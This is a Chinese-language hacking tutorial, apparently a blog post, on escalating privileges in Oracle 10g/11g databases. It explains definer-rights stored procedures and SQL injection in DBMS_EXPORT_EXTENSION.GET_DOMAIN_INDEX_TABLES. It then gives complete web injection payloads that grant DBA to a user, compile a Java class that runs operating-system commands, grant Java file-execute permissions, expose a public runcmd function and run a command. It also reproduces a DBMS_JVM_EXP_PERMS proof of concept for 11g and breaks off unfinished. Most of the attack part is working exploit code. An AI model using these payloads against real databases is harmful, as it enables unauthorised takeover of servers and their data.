Hacking Oracle 10g/11g:从删库到跑路 - 提权篇

0x0 PL/SQL 简介

PL/SQL(Procedural Language/SQL)是 Oracle 从 SQL 中扩展出来的一门数据库语言,其中加入了诸多高级语言的语法和特性。下面的示例创建一个存储过程,运行后在控制台输出消息:

create or replace procedure SasugaOracle
as
msg varchar2(255);
begin
    msg := '这语言有用?';
    DBMS_OUTPUT.PUT_LINE(msg);
end;

乍看一下,语法和 Pascal 很类似。其实 Oracle 设计 PL/SQL 时借鉴了 Ada 的语法,而 Ada 又从 Pascal 汲取了众多的精华。

0x1 借刀杀人

在 Oracle 的存储过程中,有一个有趣的特点:运行权限。运行权限分为两种,definer 和 invoker。definer 为函数创建者的权限,而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了,默认为 definer

即是说,如果具有 DBA 角色的用户建立了一个存储过程,权限默认,并且允许其他用户执行该存储过程,则普通用户运行该存储过程时,也能访问到 DBA 的资源。

Oracle 这样做的初衷,实际上是为了用户互相访问资源时,避免用户凭据的问题。当然也可以将函数的权限定义为 invoker,但需要显式设置:

create or replace function Whoami return varchar2
AUTHID CURRENT_USER
begin NULL; end;

因为具有这样的特性,所以当存储过程函数实现存在缺陷时,安全问题就产生了。下面一个例子展示这个过程:

create or replace procedure SasugaOracle(msg in varchar2)
as
stmt varchar2(255);
begin
    stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;';
    EXECUTE IMMEDIATE stmt;
end;

EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限:

grant execute on SasugaOracle to public;

接着切换到普通用户,只有 CONNECT 和 RESOURCE 权限,执行存储过程:

sasuga_oracle_normal.png

并没有什么不对,但是如果修改一下传入的参数:

sasuga_oracle_statement_injection.png

输出还是没有任何变化,但是搜索名为 latec0mer 的用户:

sasuga_oracle_show_user.png

由于存储过程存在注入,并且运行权限为 definer,所以我们成功创建了一个新用户。而类似的,如果 Oracle 的系统函数中存在同样的缺陷,我们便有机会对其加以利用,提升权限,甚至执行系统命令。

0x2 Wrapper/Unwrapper 源码

Oracle 为了防护源码,提供相应的加密工具,Windows 下位于 $ORACLE_HOME/bin/wrap.exe,该工具可以对存储过程源码进行加密。Oracle 中的系统存储过程和函数源码都使用该工具进行加密。

Oracle 9i 的加密存储过程,其实是将其编译为 Diana 中间语言,建立符号表后进行存储。具体可以参考 BlackHat 2006 上 Pete Finnigan 大吊的分析:

How to unwrap PL/SQL - Pete Finnigan

10g/11g 则使用不同的加密方式:首先使用 Lempel-Ziv 算法对源码进行压缩,接着计算压缩数据的 SHA1 值,哈希值和压缩代码合并后,每个字节转换为数值作为索引,对应到一个固定的加密表,最后使用 Base64 进行编码。

在 SQL Developer 上可以使用一个 Unwrapper 插件还原系统加密源码:

PL/SQL Unwrapper for SQL Developer | Philipp Salvisberg’s Blog

0x3 Oracle 10g 提权漏洞分析

在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞,该函数位于 DBMS_EXPORT_EXTENSION 包中,执行权限隶属于 sys。首先获取加密源码:

select text from all_source where name = 'DBMS_EXPORT_EXTENSION' and TYPE = 'PACKAGE BODY';

然后使用插件将源码还原,内容如下:

FUNCTION GET_DOMAIN_INDEX_TABLES (
	INDEX_NAME	IN  VARCHAR2,
	INDEX_SCHEMA	IN  VARCHAR2,
	TYPE_NAME	IN  VARCHAR2,
	TYPE_SCHEMA	IN  VARCHAR2,
	READ_ONLY       IN  PLS_INTEGER,
	VERSION		IN  VARCHAR2,
	GET_TABLES      IN  PLS_INTEGER)
	RETURN VARCHAR2 IS

CRS	        INTEGER := DBMS_SQL.OPEN_CURSOR;
DUMMY	        INTEGER;
RETVAL          INTEGER;
STMTSTRING	VARCHAR2(3901);

COMPILE_ERROR	EXCEPTION;
PRAGMA EXCEPTION_INIT(COMPILE_ERROR, -6550);

BEGIN
  IF GET_TABLES = 1 THEN
	  GETTABLENAMES_CONTEXT := 0;  
	  STMTSTRING :=
		'DECLARE ' ||
		'oindexinfo ODCIIndexInfo := ODCIIndexInfo(' ||
		''''||SYS.DBMS_ASSERT.SCHEMA_NAME(INDEX_SCHEMA)||''','''||
	                SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(INDEX_NAME)||''', ' ||
		'ODCIColInfoList(), NULL, 0, 0); ' ||	
		'BEGIN ' ||
	 	':p1 := "' || SYS.DBMS_ASSERT.SCHEMA_NAME(TYPE_SCHEMA) || '"."' || 
	                SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(TYPE_NAME) ||
	              '".ODCIIndexUtilGetTableNames(oindexinfo,:p2,:p3,:p4); ' ||
		'END;';
	  DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
	  DBMS_SQL.BIND_VARIABLE(CRS,':p1',STMTSTRING, 3901);
	  DBMS_SQL.BIND_VARIABLE(CRS,':p2',READ_ONLY);
	  DBMS_SQL.BIND_VARIABLE(CRS,':p3',VERSION,20);
	  DBMS_SQL.BIND_VARIABLE(CRS,':p4',GETTABLENAMES_CONTEXT);
	  DUMMY := DBMS_SQL.EXECUTE(CRS);
	  DBMS_SQL.VARIABLE_VALUE(CRS, ':p1',STMTSTRING);
	  DBMS_SQL.VARIABLE_VALUE(CRS, ':p4',GETTABLENAMES_CONTEXT);
	  DBMS_SQL.CLOSE_CURSOR(CRS);
  ELSE
	  STMTSTRING :=
		'BEGIN ' ||
	 	'"' || TYPE_SCHEMA || '"."' || TYPE_NAME || 
	          '".ODCIIndexUtilCleanup(:p1); ' ||
		'END;';
	  DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
	  DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);
	  DUMMY := DBMS_SQL.EXECUTE(CRS);
	  DBMS_SQL.CLOSE_CURSOR(CRS);
	  STMTSTRING := '';

  END IF;

  RETURN STMTSTRING;

-- snippets
END GET_DOMAIN_INDEX_TABLES;

当 GET_TABLES ≠ 1 时,会走下面的分支,而此时的 TYPE_SCHEMA 和 TYPE_NAME 参数并没有进行任何过滤,直接传入到 SQL 语句中进行执行。幸运的是,GET_TABLES 也是可控的参数。

尝试在前篇的注入点构造一个 Payload,赋予 scott 用户 DBA 角色:

name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to scott''''; END;''; END;--', '', 0, '1', 0) from dual)=0--

唔,看上去很复杂。这是因为语言约束,Oracle 规定不能直接在 DML(select、update、delete 等) 和 PL/SQL 块中执行 DDL(grant、revoke 等)。

而 AUTONOMOUS_TRANSACTION 可以开启一个独立的上下文环境,所以我们必须先声明一个 AUTONOMOUS_TRANSACTION 过程:

DECLARE
PRAGMA AUTONOMOS_TRANSACTION;
BEGIN
    -- 独立环境
END;

在上面的代码中,begin 和 end 构成 PL/SQL 块。但同样无法直接执行 DDL 语句,需要使用动态语句:

EXECUTE IMMEDIATE 'grant dba to scott';

所以综合起来就形成了上面的 Payload。执行 Payload 后,scott 用户已经被赋予 DBA 角色:

oracle_scott_roles.png

0x4 命令执行

Oracle 数据库一个比较大的特点是对 Java 语言的支持,其发行时已经携带了 JDK 工具。同时存储过程也可以使用 Java 进行编写,我们可以通过调用 Java 平台的 API 来执行系统命令。

在 PL/SQL 中创建并编译 Java 源码的语句:

create or replace and compile java source named "SasugaOracle"
as
import java.lang.*;
import java.io.*;
class SasugaOracle {
    public static String exec(String cmd) {
        String ret = "", tmp = "";
        try {
            BufferedReader reader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            while ((tmp = reader.readLine()) != null) {
                ret += tmp;
            }
            reader.close();
        } catch (Exception ex) {
            ret = ex.toString(); 
        }
        return ret;
    }
}

去除优雅的缩进和空格,写入 Payload:

name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "SasugaOracle" as import java.lang.*;import java.io.*;class SasugaOracle{public static String exec(String cmd){String ret="",tmp;try{BufferedReader reader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));while ((tmp=reader.readLine())!=null){ret+=tmp;}reader.close();}catch(Exception ex){ret=ex.toString();}return ret;}}''''; END;''; END;--', '', 0, '1', 0) from dual)=0--

接下来,赋予 Java 执行权限:

name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual)=0--

创建一个函数来引用刚才的 Java 函数:

name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function runcmd(cmd in varchar2) return varchar2 as language java name ''''''''SasugaOracle.exec(java.lang.String) return java.lang.String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual)=0--

赋予所有人函数执行权限:

name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant execute on runcmd to public'''';END;'';END;--','SYS',0,'1',0) from dual)=0--

执行命令:

name=' and 1=2 union select 1,sys.runcmd('cmd /c ver'),2 from dual--

oracle_10g_command_execute.png

0x5 Oracle 11g 系统命令执行

在 Oracle 11g 中存在一个逻辑漏洞:只要拥有 CREATE SESSION 的权限,便可以赋予任意 Java 权限。这是因为允许了 public 调用 DBMS_JVM_EXP_PERMS 中的函数。而对于 CREATE SESSION 权限,这是与数据库建立连接所必须的,所以利用条件基本不会成为瓶颈。

这是 David Litchfield 大屌在 BlackHat DC 2010 给出的 PoC:

DECLARE
    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
    CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;
BEGIN
    OPEN C1;
        FETCH C1 BULK COLLECT INTO POL;
    CLOSE C1;
    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;

但是在 Web 环境无法直接执行 PL/SQL 语句,我们需要借助另外的函数:

DBMS_XMLQUERY.newContext();
DBMS_XMLQUERY.getXML();

这两个函数允许传入一个参数,并将其作为 SQL 语句进行执行。首先构造 Payload 来获取 Java 执行权限:

to be continue…